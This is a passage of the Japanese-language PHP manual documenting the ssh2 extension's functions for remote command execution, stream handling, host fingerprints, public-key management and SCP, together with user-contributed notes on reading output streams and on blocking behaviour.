ssh2_exec ( resource $session , string $command , string $pty = ? , array $env = ? , int $width = 80 , int $height = 25 , int $width_height_type = SSH2_TERM_UNIT_CHARS ) : resource|false

コマンドをリモートエンドで実行し、チャネルを割り当てます。

パラメータ

session

ssh2_connect() のコールによって取得した SSH 接続リンク ID。

command

pty

env

env には、 対象となる環境で設定する名前/値のペアを連想配列で渡します。

width

仮想端末の幅。

height

仮想端末の高さ。

width_height_type

width_height_type は、 SSH2_TERM_UNIT_CHARS あるいは SSH2_TERM_UNIT_PIXELS のいずれかです。

返り値

成功時にストリームを返し、失敗した場合に false を返します。

例

例1 コマンドの実行

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, '/usr/local/bin/php -i');
?>

参考

  • ssh2_connect() - SSH サーバーに接続する
  • ssh2_shell() - 対話式のシェルを要求する
  • ssh2_tunnel() - リモートサーバーを経由するトンネルをオープンする

User Contributed Notes

Rainer Perske 09-Jun-2020 02:50
The following function can be used to read both stdout and stderr even if both streams contain gigabytes of data. It solves most problems mentioned in other comments, like blocking, like further using the existing connection etc.

  function ssh2_run($ssh2,$cmd,&$out=null,&$err=null){
    $result=false;
    $out='';
    $err='';
    $sshout=ssh2_exec($ssh2,$cmd);
    if($sshout){
      $ssherr=ssh2_fetch_stream($sshout,SSH2_STREAM_STDERR);
      if($ssherr){
        # we cannot use stream_select() with SSH2 streams
        # so use non-blocking stream_get_contents() and usleep()
        if(stream_set_blocking($sshout,false) and
           stream_set_blocking($ssherr,false)
        ){
          $result=true;
          # loop until end of output on both stdout and stderr
          $wait=0;
          while(!feof($sshout) or !feof($ssherr)){
            # sleep only after not reading any data
            if($wait)usleep($wait);
            $wait=50000; # 1/20 second
            if(!feof($sshout)){
              $one=stream_get_contents($sshout);
              if($one===false){ $result=false; break; }
              if($one!=''){ $out.=$one; $wait=0; }
            }
            if(!feof($ssherr)){
              $one=stream_get_contents($ssherr);
              if($one===false){ $result=false; break; }
              if($one!=''){ $err.=$one; $wait=0; }
            }
          }
        }
        # we need to wait for end of command
        stream_set_blocking($sshout,true);
        stream_set_blocking($ssherr,true);
        # these will not get any output
        stream_get_contents($sshout);
        stream_get_contents($ssherr);
        fclose($ssherr);
      }
      fclose($sshout);
    }
    return $result;
  }
dosentnd at gmail dot com 12-Mar-2020 08:39
Running multiple commands shows this warning and second(and any next) command wont be executed:
- PHP Warning:  ssh2_exec(): Unable to request a channel from remote host in ...

Solution with fclose($stream) does not work, but this is simple solution which works for me:

<?php

$connection = ssh2_connect('SOME SSH IP ADDRESS', 22);
ssh2_auth_password($connection, 'username', 'passwortd');

//those commands are for some HUAWEI enterprise routers

    $stream = ssh2_exec( $connection, "screen-length 0 temporary\ndisplay isis name-table" );
    stream_set_blocking( $stream, true );
    $stream_out = ssh2_fetch_stream( $stream, SSH2_STREAM_STDIO );
    echo stream_get_contents($stream_out);

?>

first command is: screen-length 0 temporary
second command is: display isis name-table
which is executed with \n in the same line.
You have to separete outputs of those commands later.

Looks like ssh2_exec allocates exec stream in session you are connected in, and for freeing it , you have to ssh2_disconnect.
Usualy you are ok to ssh2_exec one command then disconnect, then connect and ssh2_exec next command. This is how some other php libraries works as I have seen. But sometimes some variables are sesion dependent, and when you disconnect variables resets.
edoceo at gmail dot com 03-Dec-2016 08:46
Here's what I use for doing ssh2_exec for long running scripts, expanding on other examples.  It waits for a timeout and checks if both streams are finished.  Does not use blocking and it gets data from both STDOUT and STDERR.

<?php
$stdout = ssh2_exec($ssh, $cmd);
$stderr = ssh2_fetch_stream($stdout, SSH2_STREAM_STDERR);
if (!empty($stdout)) {

    $t0 = time();
    $err_buf = null;
    $out_buf = null;

    // Try for 30s
    do {

        $err_buf.= fread($stderr, 4096);
        $out_buf.= fread($stdout, 4096);

        $done = 0;
        if (feof($stderr)) {
            $done++;
        }
        if (feof($stdout)) {
            $done++;
        }

        $t1 = time();
        $span = $t1 - $t0;

        // Info note
        echo "while (($tD < 20) && ($done < 2));\n";

        // Wait here so we don't hammer in this loop
        sleep(1);

    } while (($span < 30) && ($done < 2));

    echo "STDERR:\n$err_buf\n";
    echo "STDOUT:\n$out_buf\n";

    echo "Done\n";

} else {
    echo "Failed to Shell\n";
}
?>

Adjust your timeout as necessary.
mbs 14-Jun-2015 11:36
<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stream = ssh2_exec($connection, '/usr/local/bin/php -i');
?>
noreply at voicemeup dot com 12-Feb-2013 04:12
*** IMPORTANT ***
If you are having issues getting STDERR on PHP 5.2.X, make sure to update to 5.2.17 and latest ssh2 extension from PECL.
Jim 08-Dec-2010 09:22
It is important to note that this will not work ~all~ hosts that allow SFTP. We deny shell access, but allow SFTP using the sftp-internal subsystem.

When attempting to use ssh2_exec() with this configuration, and stream_set_blocking set to true, the script will hang indefinitely. When stream_set_blocking is set to false, nothing will be returned.

Even if you can SFTP files, be sure to check with your host to see if you have shell access.
christopher dot millward at gmail dot com 26-Jul-2010 11:15
There doesn't appear to be a way to get data from BOTH stderr and stdout streams simultaneously, or at least I've yet to find one.

The following code *should* get the error message written to stderr, but if the call to stream_get_contents() for stdout is run first, the subsequent call for stderr won't return anything.

If the order of the statements is reversed, the call for stderr will return any errors and call for stdout will return nothing

<?php
// Run a command that will probably write to stderr (unless you have a folder named /hom)
$stream = ssh2_exec($connection, "cd /hom");
$errorStream = ssh2_fetch_stream($stream, SSH2_STREAM_STDERR);

// Enable blocking for both streams
stream_set_blocking($errorStream, true);
stream_set_blocking($stream, true);

// Whichever of the two below commands is listed first will receive its appropriate output.  The second command receives nothing
echo "Output: " . stream_get_contents($stream);
echo "Error: " . stream_get_contents($errorStream);

// Close the streams
fclose($errorStream);
fclose($stream);

?>

My initial suspicion is that either a) I've done something wrong  or b) the blocking nature of both streams means that by the time first stream has received data and returned, the buffer for the second stream has already emptied.

I've done preliminary tests with blocking disabled, but haven't had any luck there either.
gwinans at gmail dot com 27-Apr-2010 10:40
Oddly enough, I've noticed if I attempt to execute anything nothing happens. Now, I don't mean "No content is returned!".. I mean, "The command I told it to execute didn't execute!".

Unless the following pattern is followed:

<?php
$stream = ssh2_exec($connection, "touch ~/some_fake_file", 'xterm');
stream_get_contents($stream);
?>

Nowhere in the manual does it imply that stream_get_contents is required for the actual execution to take place, but in this case.. it seems that way. So, if you're having trouble getting commands to execute, try using stream_get_contents().
magicaltux at php dot net 21-Dec-2008 04:41
The "pty" parameter is not documented.

You should pass a pty emulation name ("vt102", "ansi", etc...) if you want to emulate a pty, or NULL if you don't.

Passing false will convert false to a string, and will allocate a "" terminal.
jaimie at seoegghead dot com 18-Dec-2008 08:07
I believe most of the problem that people are having here is that there is a misconception about what blocking *really* means.

Blocking means a read from the *stream* will wait until there is data.  Not necessarily all the data from the application -- but *some*.  So it won't help you at all if you're executing a command that doesn't write to stdout, or writes a whole lot of data.

So there are 2 problems:

1. If you need to know that a silent program is done via ssh2_exec, you'll need to signal it to yourself.  ssh2_exec will *not* block execution until the command is done executing.  And 2 consecutive ssh2_execs may execute asynchronously.  You could also log into a shell via ssh2_shell and parse up to the next prompt -- but that's overkill.  You can also do this by adding on some sort of sentinel at the end of your command, such as echo "@," and then block on reads until you see a "@."  Ensure "@" won't appear in the output, or escape the output via some encoding mechanism if you can't do that.

2. If the program takes awhile, you have the same problem.  You need to read until you're done.  So you need a sentinel value like the above.

3. Sleep() is just a bad idea here.  Commands rarely take the same amount of time to execute a command twice.  It may be OK if you're doing *one* thing and can just wait 5 seconds.  But that's not cool if it's something you're doing in a loop.

Hope this helps!
lko at netuse dot de 06-Dec-2007 05:41
if you are using exec function, and have problems with a output > 1000 lines
you should use

<?php
                stream_set_blocking($stream, true);
                while($line = fgets($stream)) {
                        flush();
                        echo $line."<br />";
                }
?>

except

<?php
                stream_set_blocking($stream, true);
               echo stream_get_contents($stream);
?>
Betsy Gamrat 15-Apr-2007 07:52
It is also good to use register_shutdown_function to shred the keys after this runs.
Jon-Eirik Pettersen 11-Mar-2007 04:33
The command  may not finish before the function return if the stream is not set to blocking mode. You may have to set the stream to blocking mode in order to get any output from the command.

<?php
  // [Open connection]
  // ...

  $stream = ssh2_exec($connection, 'ps ax');
  stream_set_blocking($stream, true);

  // The command may not finish properly if the stream is not read to end
  $output = stream_get_contents($stream);

  // ...
  // [Close stream and connection]
?>
Betsy Gamrat 18-Feb-2007 12:00
If the ssh2_exec takes awhile to run, and you need a handshake, you can use a file.  In this case, $flag names a handshake file that is written when the ssh script finishes.

<?php
                $stream = ssh2_exec($connection, $command . " $public_key $private_key;");
                $i=0;
                while (!file_exists ($flag) && ($i < MAX_TIME))
                {
                        sleep(1);
                        $i++;
                }
                $ret_val=($stream!=FALSE);
?>

This is an extract out of the bash script that is running.  Be sure to allow the webserver permission to read the file that the script writes.

echo 0 > $OUTFILE
chmod 666 $OUTFILE

One other note:  you can put more than one command in by separating them with ';' (semicolons).
tabber dot watts at gmail dot com 02-Dec-2005 03:21
This is the best way I found to automatically run multiple commands or commands that might take longer then expected.  NOTE: this assumes that no where in the output is there the text '[end]' otherwise the function will end prematurely.  Hope this helps people.

<?php
$ip = 'ip_address';
$user = 'username';
$pass = 'password';

$connection = ssh2_connect($ip);
ssh2_auth_password($connection,$user,$pass);
$shell = ssh2_shell($connection,"bash");

//Trick is in the start and end echos which can be executed in both *nix and windows systems.
//Do add 'cmd /C' to the start of $cmd if on a windows system.
$cmd = "echo '[start]';your commands here;echo '[end]'";
$output = user_exec($shell,$cmd);

fclose($shell);

function user_exec($shell,$cmd) {
  fwrite($shell,$cmd . "\n");
  $output = "";
  $start = false;
  $start_time = time();
  $max_time = 2; //time in seconds
  while(((time()-$start_time) < $max_time)) {
    $line = fgets($shell);
    if(!strstr($line,$cmd)) {
      if(preg_match('/\[start\]/',$line)) {
        $start = true;
      }elseif(preg_match('/\[end\]/',$line)) {
        return $output;
      }elseif($start){
        $output[] = $line;
      }
    }
  }
}

?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix supplied by (jschwepp AT gmail DOT com) on 17-FEB-2010 to fix a typo in a function name.]
gakksimian at yahoo dot com 07-Sep-2005 10:15
Executing remote Windows commands...
After some hair pulling, I thought I'd suggest a couple things that might help others:

1. Use 'ssh2_fetch_stream' to open a stderr stream according to the manual.
2. Windows shell commands require 'cmd /C [command]' to execute.  (I had forgotten this)

<?php
    // code fragment
    $stdout_stream = ssh2_exec($connection, 'cmd /C dir');
    $stderr_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);
?>

I didn't realize the need for the 'cmd /C' until I saw the stderr response 'dir: not found'.
yairl at savion dot huji dot ac dot il 09-Jun-2005 05:03
If you want to run many exec orders throught ssh2 in the same process using the same variable $stream for exemple and to read the output for each order, you must close the stream after each order else you will not be able to read the next order output.

<?php
 $stream=ssh2_exec($conn_id,"/usr/bin/ls .");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("public_html",$cmd)){
 // ...........................................
}

 $stream=ssh2_exec($conn_id,"/usr/bin/ls public_html");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("images",$cmd)){
 // ..........................................
}

$stream=ssh2_exec($conn_id,"/usr/bin/ls public_html/images");
    stream_set_blocking( $stream, true );
    $cmd=fread($stream,4096);
fclose($stream);

if(ereg("blabla",$cmd)){
 // ..........................................
}
?>


拡張データストリームを取得する

  • ≪ ssh2_exec
  • ssh2_fingerprint ≫
  • PHP Manual
  • SSH2 関数
  • 拡張データストリームを取得する

ssh2_fetch_stream

(PECL ssh2 >= 0.9.0)

ssh2_fetch_stream — 拡張データストリームを取得する

説明

ssh2_fetch_stream ( resource $channel , int $streamid ) : resource

SSH2 チャネルストリームと関連付けられたサブストリームを取得します。 SSH2 プロトコルは現在ただ 1 つのサブストリーム STDERR を定義しています。これはサブストリーム ID として SSH2_STREAM_STDERR (1 として定義) を持ちます。

パラメータ

channel

streamid

SSH2 チャネルストリーム。

返り値

ストリームリソースを返します。

例

例1 シェルをオープンし、それと関連付けられた stderr ストリームを処理する

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

$stdio_stream = ssh2_shell($connection);
$stderr_stream = ssh2_fetch_stream($stdio_stream, SSH2_STREAM_STDERR);
?>

参考

  • ssh2_shell() - 対話式のシェルを要求する
  • ssh2_exec() - リモートサーバー上でコマンドを実行する
  • ssh2_connect() - SSH サーバーに接続する

User Contributed Notes

ingo at baab dot de 25-Jun-2020 03:46
In addition to the last post (13 years ago) from Dennis K. I corrected two typos (constant SSH2_STREAM_STDIO was misspellt) and removed (too many) brackets - this code works:

<?php
      $stdout_stream = ssh2_exec($connection, "lsssss -la");

      $sio_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDIO);
      $err_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

      stream_set_blocking($sio_stream, true);
      stream_set_blocking($err_stream, true);

      $result_dio = stream_get_contents($sio_stream);
      $result_err = stream_get_contents($err_stream);

      echo 'stderr: ' . $result_err;
      echo 'stdio : ' . $result_dio;
?>
hexer 10-Sep-2008 06:51
I successfully used fgets in PHP4

examples

<?php
$stderr = fgets(ssh2_fetch_stream($channel, SSH2_STREAM_STDERR), 8192);

$str = fgets(ssh2_fetch_stream($channel, SSH2_STREAM_STDIO), 8192);
?>
Dennis K. 24-Jan-2007 04:28
In addition to the last post from Ricardo Striquer:

Simple block the stream with stream_set_blocking(), and you dont have to sleep() the script...

<?php
stdout_stream = ssh2_exec($connection, "/bin/lssss -la /tmp");

$err_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

$dio_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDDIO);

stream_set_blocking($err_stream, true);
stream_set_blocking($dio_stream, true);

$result_err = stream_get_contents($err_stream));
$result_dio = stream_get_contents($dio_stream));
?>
Ricardo Striquer (ricardophp yohoocombr) 18-Dec-2006 07:41
I got a friend using those functions and he was not able to use this ssh2_fetch_stream function. First of all I got the ssh2_shell sample by webmaster at spectreanime dot com, but this function does not work with his sample, i believe thats because he use fwrite instead of ssh2_shell or ssh2_exec to run the command.

This sample below is to run under a command line and is fully functional. note that i add the sleep as advised by webmaster at spectreanime dot com

<?php
echo "Connexion SSH ";
if (!($connection=@ssh2_connect("69.69.69.69", 22))) {
   echo "[FAILED]\n";
   exit(1);
}
echo "[OK]\nAuthentification ";

if (!@ssh2_auth_password($connection,"root","YourPassword")) {
   echo "[FAILED]\n";
   exit(1);
}
echo "[OK]\n";

$stdout_stream = ssh2_exec($connection, "/bin/lssss -la /tmp");
sleep(1);
$stderr_stream = ssh2_fetch_stream($stdout_stream, SSH2_STREAM_STDERR);

echo "Erros encontrados!\n------------\n";
while($line = fgets($stderr_stream)) { flush(); echo $line."\n"; }
echo "------------\n";

while($line = fgets($stdout_stream)) { flush(); echo $line."\n";}

fclose($stdout_stream);
?>


リモートサーバーのフィンガープリントを処理する

  • ≪ ssh2_fetch_stream
  • ssh2_forward_accept ≫
  • PHP Manual
  • SSH2 関数
  • リモートサーバーのフィンガープリントを処理する

ssh2_fingerprint

(PECL ssh2 >= 0.9.0)

ssh2_fingerprint — リモートサーバーのフィンガープリントを処理する

説明

ssh2_fingerprint ( resource $session , int $flags = SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX ) : string

アクティブなセッションからサーバーホスト鍵のハッシュを返します。

パラメータ

session

ssh2_connect() のコールによって取得した SSH 接続リンク ID。

flags

flags は SSH2_FINGERPRINT_MD5、 SSH2_FINGERPRINT_HEX で論理和された SSH2_FINGERPRINT_SHA1、 SSH2_FINGERPRINT_RAW のいずれかです。

返り値

ホストキーのハッシュを文字列で返します。

例

例1 既知の値に対するフィンガープリントのチェック

<?php
$known_host = '6F89C2F0A719B30CC38ABDF90755F2E4';

$connection = ssh2_connect('shell.example.com', 22);

$fingerprint = ssh2_fingerprint($connection,
               SSH2_FINGERPRINT_MD5 | SSH2_FINGERPRINT_HEX);

if ($fingerprint != $known_host) {
  die("HOSTKEY MISMATCH!\n" .
      "Possible Man-In-The-Middle Attack?");
}
?>

User Contributed Notes

Lyle Mantooth 07-Dec-2013 03:42
If you're going to compare the fingerprint to a user-submitted form field, it's probably a good idea to do case-insensitive comparison:
<?php

if ($conn = ssh2_connect($user, $password)) {
    $fingerprint = ssh2_fingerprint($conn);
    if (strcasecmp($fingerprint, $known_value) === 0) {
        // Do your thing.
    }
}
?>
Of course, this is only necessary when you use the SSH2_FINGERPRINT_HEX option, not SSH2_FINGERPRINT_RAW.


リスナーによって作られた接続を受け付ける

  • ≪ ssh2_fingerprint
  • ssh2_forward_listen ≫
  • PHP Manual
  • SSH2 関数
  • リスナーによって作られた接続を受け付ける

ssh2_forward_accept

(PECL ssh2 >= 0.9.0)

ssh2_forward_accept — リスナーによって作られた接続を受け付ける

説明

ssh2_forward_accept ( resource $listener ) : resource|false

リスナーによって作られた接続を受け付けます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

desc

SSH2 リスナーのリソースを指定します。 これは、ssh2_forward_listen() を呼び出すことで得られます。

返り値

ストリームリソースを返します。 失敗した場合に false を返します.

User Contributed Notes

There are no user contributed notes for this page.


リモートサーバ上のポートにバインドし、接続を待つ

  • ≪ ssh2_forward_accept
  • ssh2_methods_negotiated ≫
  • PHP Manual
  • SSH2 関数
  • リモートサーバ上のポートにバインドし、接続を待つ

ssh2_forward_listen

(PECL ssh2 >= 0.9.0)

ssh2_forward_listen — リモートサーバ上のポートにバインドし、接続を待つ

説明

ssh2_forward_listen ( resource $session , int $port , string $host = ? , int $max_connections = 16 ) : resource|false

リモートサーバ上のポートにバインドし、接続を待ちます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

session

SSH セッションのリソースを指定します。 この値は、ssh2_connect() を呼び出すことで得られます。

port

リモートサーバ上のポート番号を指定します。

host

max_connections

返り値

SSH2 リスナーを返します。 失敗した場合に false を返します.

参考

  • ssh2_forward_accept() - リスナーによって作られた接続を受け付ける

User Contributed Notes

There are no user contributed notes for this page.


ネゴシエートされたメソッドのリストを返す

  • ≪ ssh2_forward_listen
  • ssh2_poll ≫
  • PHP Manual
  • SSH2 関数
  • ネゴシエートされたメソッドのリストを返す

ssh2_methods_negotiated

(PECL ssh2 >= 0.9.0)

ssh2_methods_negotiated — ネゴシエートされたメソッドのリストを返す

説明

ssh2_methods_negotiated ( resource $session ) : array

ネゴシエートされたメソッドのリストを返します。

パラメータ

session

ssh2_connect() のコールによって取得した SSH 接続リンク ID。

返り値

例

例1 どのメソッドでネゴシエートされたかの判定

<?php
$connection = ssh2_connect('shell.example.com', 22);
$methods = ssh2_methods_negotiated($connection);

echo "Encryption keys were negotiated using: {$methods['kex']}\n";
echo "Server identified using an {$methods['hostkey']} with ";
echo "fingerprint: " . ssh2_fingerprint($connection) . "\n";

echo "Client to Server packets will use methods:\n";
echo "\tCrypt: {$methods['client_to_server']['crypt']}\n";
echo "\tComp: {$methods['client_to_server']['comp']}\n";
echo "\tMAC: {$methods['client_to_server']['mac']}\n";

echo "Server to Client packets will use methods:\n";
echo "\tCrypt: {$methods['server_to_client']['crypt']}\n";
echo "\tComp: {$methods['server_to_client']['comp']}\n";
echo "\tMAC: {$methods['server_to_client']['mac']}\n";

?>

参考

  • ssh2_connect() - SSH サーバーに接続する

User Contributed Notes

There are no user contributed notes for this page.


チャンネル/リスナー/ストリーム のイベントをポーリングする

  • ≪ ssh2_methods_negotiated
  • ssh2_publickey_add ≫
  • PHP Manual
  • SSH2 関数
  • チャンネル/リスナー/ストリーム のイベントをポーリングする

ssh2_poll

(PECL ssh2 >= 0.9.0)

ssh2_poll — チャンネル/リスナー/ストリーム のイベントをポーリングする

説明

ssh2_poll ( array &$desc , int $timeout = 30 ) : int

チャンネル/リスナー/ストリーム のイベントをポーリングし、 1個以上のイベントを返したディスクリプタの数を返します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

desc

'resource' と 'events' をキーとした配列の、インデックス付きの配列。 リソースの値は、(チャンネルの)ストリーム、 または SSH2 リスナーのリソースです。 イベントの値は、SSH2_POLL* フラグを bitwise OR でまとめて指定します。 それぞれの配列は、返される際に 'revents' 要素にまとめられ、 発生したイベントの SSH2_POLL* フラグが bitwize OR でまとまったものがその値になります。

timeout

タイムアウトさせる時間を秒単位で指定します。

返り値

1個以上のイベントを返したディスクリプタの数を返します。

User Contributed Notes

There are no user contributed notes for this page.


認証済み公開鍵を追加する

  • ≪ ssh2_poll
  • ssh2_publickey_init ≫
  • PHP Manual
  • SSH2 関数
  • 認証済み公開鍵を追加する

ssh2_publickey_add

(PECL ssh2 >= 0.10)

ssh2_publickey_add — 認証済み公開鍵を追加する

説明

ssh2_publickey_add ( resource $pkey , string $algoname , string $blob , bool $overwrite = false , array $attributes = ? ) : bool

注意: この公開鍵サブシステムは、クライアントが認証 済 の 公開鍵をサーバー上で管理するために使用されます。 公開鍵認証によりリモートシステムで認証を行うには、かわりに ssh2_auth_pubkey_file() 関数を使用してください。

パラメータ

pkey

ssh2_publickey_init() が作成した、 公開鍵サブシステムのリソース。

algoname

公開鍵のアルゴリズム。例: ssh-dss、ssh-rsa

blob

生のバイナリデータとしての blob 形式の公開鍵。

overwrite

指定したキーがすでに存在する場合に、それを上書きしますか?

attributes

この公開鍵に代入する属性の連想配列。サポートされる属性の一覧は、 ietf-secsh-publickey-subsystem を参照ください。 必須属性を設定するには、属性名の先頭にアスタリスクをつけてください。 サーバーが必須属性をサポートしていない場合、追加処理は異常終了します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ssh2_publickey_add() で公開鍵を追加する

<?php
$ssh2 = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($ssh2, 'jdoe', 'password');
$pkey = ssh2_publickey_init($ssh2);

$keyblob = base64_decode('
AAAAB3NzaC1yc2EAAAABIwAAAIEA5HVt6VqSGd5PTrLRdjNONxXH1tVFGn0
Bd26BF0aCP9qyJRlvdJ3j4WBeX4ZmrveGrjMgkseSYc4xZ26sDHwfL351xj
zaLpipu\BGRrw17mWVBhuCExo476ri5tQFzbTc54VEHYckxQ16CjSTibI5X
69GmnYC9PNqEYq/1TP+HF10=');

ssh2_publickey_add($pkey, 'ssh-rsa', $keyblob, false, array('comment'=>"John's Key"));
?>

参考

  • ssh2_publickey_init() - 公開鍵サブシステムを初期化する
  • ssh2_publickey_remove() - 認証済み公開鍵を取り除く
  • ssh2_publickey_list() - 現在認証済みの公開鍵の一覧を表示する

User Contributed Notes

There are no user contributed notes for this page.


公開鍵サブシステムを初期化する

  • ≪ ssh2_publickey_add
  • ssh2_publickey_list ≫
  • PHP Manual
  • SSH2 関数
  • 公開鍵サブシステムを初期化する

ssh2_publickey_init

(PECL ssh2 >= 0.10)

ssh2_publickey_init — 公開鍵サブシステムを初期化する

説明

ssh2_publickey_init ( resource $session ) : resource|false

すでに接続している SSH2 サーバーから、公開鍵サブシステムを要求します。

公開鍵サブシステムを使用すると、 すでに接続・認証済みのクライアントが、 対象のサーバーに保存されている認証済み公開鍵の一覧を管理できるようになります。 管理方法は、サーバーの実装に依存しません。 リモートサーバーが公開鍵サブシステムをサポートしていない場合、 ssh2_publickey_init() 関数は false を返します。

パラメータ

session

返り値

他のすべての ssh2_publickey_*() メソッドで使用する、 SSH2 公開鍵サブシステムリソースを返します。 失敗した場合に false を返します。

注意

注意: この公開鍵サブシステムは、クライアントが認証 済 の 公開鍵をサーバー上で管理するために使用されます。 公開鍵認証によりリモートシステムで認証を行うには、かわりに ssh2_auth_pubkey_file() 関数を使用してください。

参考

  • ssh2_publickey_add() - 認証済み公開鍵を追加する
  • ssh2_publickey_remove() - 認証済み公開鍵を取り除く
  • ssh2_publickey_list() - 現在認証済みの公開鍵の一覧を表示する

User Contributed Notes

There are no user contributed notes for this page.


現在認証済みの公開鍵の一覧を表示する

  • ≪ ssh2_publickey_init
  • ssh2_publickey_remove ≫
  • PHP Manual
  • SSH2 関数
  • 現在認証済みの公開鍵の一覧を表示する

ssh2_publickey_list

(PECL ssh2 >= 0.10)

ssh2_publickey_list — 現在認証済みの公開鍵の一覧を表示する

説明

ssh2_publickey_list ( resource $pkey ) : array

現在認証済みの公開鍵の一覧を表示します。

パラメータ

pkey

公開鍵サブシステムのリソース。

返り値

鍵を、数値添字の配列で返します。 個々の要素は連想配列となっており、その内容は name、blob、および attrs です。

公開鍵の要素
配列のキー | 意味
name | この公開鍵で使用しているアルゴリズムの名前。例: ssh-dss あるいは ssh-rsa。
blob | 生のバイナリデータとしての blob 形式の公開鍵。
attrs | この公開鍵に割り当てる属性。 もっとも一般的な属性であり、バージョン 1 の公開鍵サーバーが唯一サポートしている属性は comment です。これは任意の書式の文字列です。

例

例1 認証済みの鍵の一覧を ssh2_publickey_list() で表示する

<?php
$ssh2 = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($ssh2, 'jdoe', 'secret');
$pkey = ssh2_publickey_init($ssh2);

$list = ssh2_publickey_list($pkey);

foreach($list as $key) {
  echo "Key: {$key['name']}\n";
  echo "Blob: " . chunk_split(base64_encode($key['blob']), 40, "\n") . "\n";
  echo "Comment: {$key['attrs']['comment']}\n\n";
}
?>

上の例の出力は以下となります。

Key: ssh-rsa
Blob: AAAAB3NzaC1yc2EAAAABIwAAAIEA5HVt6VqSGd5P
TrLRdjNONxXH1tVFGn0Bd26BF0aCP9qyJRlvdJ3j
4WBeX4ZmrveGrjMgkseSYc4xZ26sDHwfL351xjza
Lpipu\BGRrw17mWVBhuCExo476ri5tQFzbTc54VE
HYckxQ16CjSTibI5X69GmnYC9PNqEYq/1TP+HF10
Comment: John's Key

Key: ssh-rsa
Blob: AAAAB3NzaHVt6VqSGd5C1yc2EAAAABIwA232dnJA
AIEA5HVt6VqSGd5PTrLRdjNONxX/1TP+HF1HVt6V
qSGd50H1tVFGn0BB3NzaC1yc2EAd26BF0aCP9qyJ
RlvdJ3j4WBeX4ZmrveGrjMgkseSYc4xZ26HVt6Vq
SGd5sDHwfL351xjzaLpipu\BGB3NzaC1yc2EA/1T
Comment: Alice's Key

注意

注意: この公開鍵サブシステムは、クライアントが認証 済 の 公開鍵をサーバー上で管理するために使用されます。 公開鍵認証によりリモートシステムで認証を行うには、かわりに ssh2_auth_pubkey_file() 関数を使用してください。

参考

  • ssh2_publickey_init() - 公開鍵サブシステムを初期化する
  • ssh2_publickey_add() - 認証済み公開鍵を追加する
  • ssh2_publickey_remove() - 認証済み公開鍵を取り除く

User Contributed Notes

There are no user contributed notes for this page.


認証済み公開鍵を取り除く

  • ≪ ssh2_publickey_list
  • ssh2_scp_recv ≫
  • PHP Manual
  • SSH2 関数
  • 認証済み公開鍵を取り除く

ssh2_publickey_remove

(PECL ssh2 >= 0.10)

ssh2_publickey_remove — 認証済み公開鍵を取り除く

説明

ssh2_publickey_remove ( resource $pkey , string $algoname , string $blob ) : bool

認証済み公開鍵を取り除きます。

パラメータ

pkey

公開鍵サブシステムのリソース。

algoname

公開鍵のアルゴリズム。例: ssh-dss、ssh-rsa

blob

生のバイナリデータとしての blob 形式の公開鍵。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

注意: この公開鍵サブシステムは、クライアントが認証 済 の 公開鍵をサーバー上で管理するために使用されます。 公開鍵認証によりリモートシステムで認証を行うには、かわりに ssh2_auth_pubkey_file() 関数を使用してください。

参考

  • ssh2_publickey_init() - 公開鍵サブシステムを初期化する
  • ssh2_publickey_add() - 認証済み公開鍵を追加する
  • ssh2_publickey_list() - 現在認証済みの公開鍵の一覧を表示する

User Contributed Notes

There are no user contributed notes for this page.


SCP 経由でファイルを要求する

  • ≪ ssh2_publickey_remove
  • ssh2_scp_send ≫
  • PHP Manual
  • SSH2 関数
  • SCP 経由でファイルを要求する

ssh2_scp_recv

(PECL ssh2 >= 0.9.0)

ssh2_scp_recv — SCP 経由でファイルを要求する

説明

ssh2_scp_recv ( resource $session , string $remote_file , string $local_file ) : bool

リモートサーバーからローカルファイルシステムに SCP プロトコルを使用してコピーします。

パラメータ

session

ssh2_connect() のコールによって取得した SSH 接続リンク ID。

remote_file

リモートファイルへのパス。

local_file

ローカルファイルへのパス。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 SCP 経由でのファイルのダウンロード

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');

ssh2_scp_recv($connection, '/remote/filename', '/local/filename');
?>

参考

  • ssh2_scp_send() - SCP 経由でファイルを送信する
  • copy() - ファイルをコピーする

User Contributed Notes

liubomyr dot pelo at gmail dot com 20-Jul-2016 07:56
In case if you get:

Warning: ssh2_scp_recv(): Unable to receive remote file in /some-php-file.php on line 2

Use `stream_get_contents` function.

Example:
<?php
$stream = @fopen("ssh2.sftp://$sftp$remoteFile", 'r');
if (! $stream) {
        throw new \Exception("Could not open file: $remoteFile");
}

$contents = stream_get_contents($stream);
file_put_contents ($localFile, $contents);
@fclose($stream);
?>
Maddie 30-Jul-2013 05:40
If you are getting the error - ssh2_scp_recv(): Unable to receive remote file

Try using file_get_contents("ssh2.sftp://$sftp$fileLocation") and file_put_contents() as a workaround-- this is after I tried all sorts of different remote file path formats to no avail.
Anonymous 24-Jun-2013 09:14
May fail when trying to get a remote file from the user's home directory when you try to use a path like '~/filename.txt' .  It appears to dislike tildes, so use the full file path.
mark at mohc dot net 03-Oct-2012 12:47
